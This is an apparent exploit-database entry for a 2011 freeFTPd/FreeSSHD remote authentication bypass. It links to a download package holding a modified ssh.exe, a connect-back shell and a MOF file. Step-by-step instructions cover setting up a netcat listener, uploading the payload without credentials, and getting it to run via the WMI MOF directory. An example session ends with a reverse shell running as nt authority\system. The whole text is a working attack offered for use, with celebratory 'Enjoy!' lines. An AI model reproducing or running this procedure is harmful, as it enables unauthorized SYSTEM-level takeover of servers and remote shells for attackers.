freeFTPd 1.2.6 – Remote Authentication Bypass
FreeFTPD all versions Remote System Level Exploit Zero-Day -- No username needed, straightforward rooting! Discovered & Exploited By Kingcope Year 2011 -- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23079.zip Example banner: WeOnlyDo-wodFTPD 2.3.6.165 This package includes all you need to successfully root any version of FreeFTPD: * Modified version of ssh.exe (FreeFTPD authentication bypass) * sftp.exe for connecting to the server * nullevent.exe connect back shell that is uploaded to the server * nullevent.mof file which is uploaded to the server to execute the connect back shell * MSVCR100.dll that is needed by nullevent.exe * scan logs for your pleasure! We make use of the STUXNET technique to execute code, So let's go: 1.) Setup a netcat on a host you have, firewall open on the listening port 2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config 3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host> 4.) upload (put) nullevent.exe: put nullevent.exe 5.) upload (put) MSVCR100.dll: put MSVCR100.dll 6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof 7.) Enjoy your system shell which will blink up on you netcat after 1 minute!! 8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\ 8.) Enjoy! 9.) Enjoy! 10.) Enjoy! Example exploitation session: C:\Users\KC\Desktop\FreeFTPD_0day>sftp -S ./ssh.exe 83.241.214.171 Could not create directory '/home/KC/.ssh'. The authenticity of host '83.241.214.171 (83.241.214.171)' can't be established. RSA key fingerprint is a8:ba:6d:0a:c6:ae:8b:a1:b6:47:7b:43:a8:de:4b:8e. Are you sure you want to continue connecting (yes/no)? yes Failed to add the host to the list of known hosts (/home/KC/.ssh/known_hosts). Connected to 83.241.214.171. sftp> put nullevent.exe Uploading nullevent.exe to /nullevent.exe nullevent.exe 100% 7168 7.0KB/s 00:00 sftp> put MSVCR100.dll Uploading MSVCR100.dll to /MSVCR100.dll MSVCR100.dll 100% 751KB 22.8KB/s 00:33 sftp> put nullevent.mof wbem/mof/nullevent.mof Uploading nullevent.mof to /wbem/mof/nullevent.mof nullevent.mof 100% 691 0.7KB/s 00:00 sftp> [root@vs2067037 ~]# nc -v -l 443 Connection from 83.231.224.193 port 443 [tcp/https] accepted Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami nt authority\system |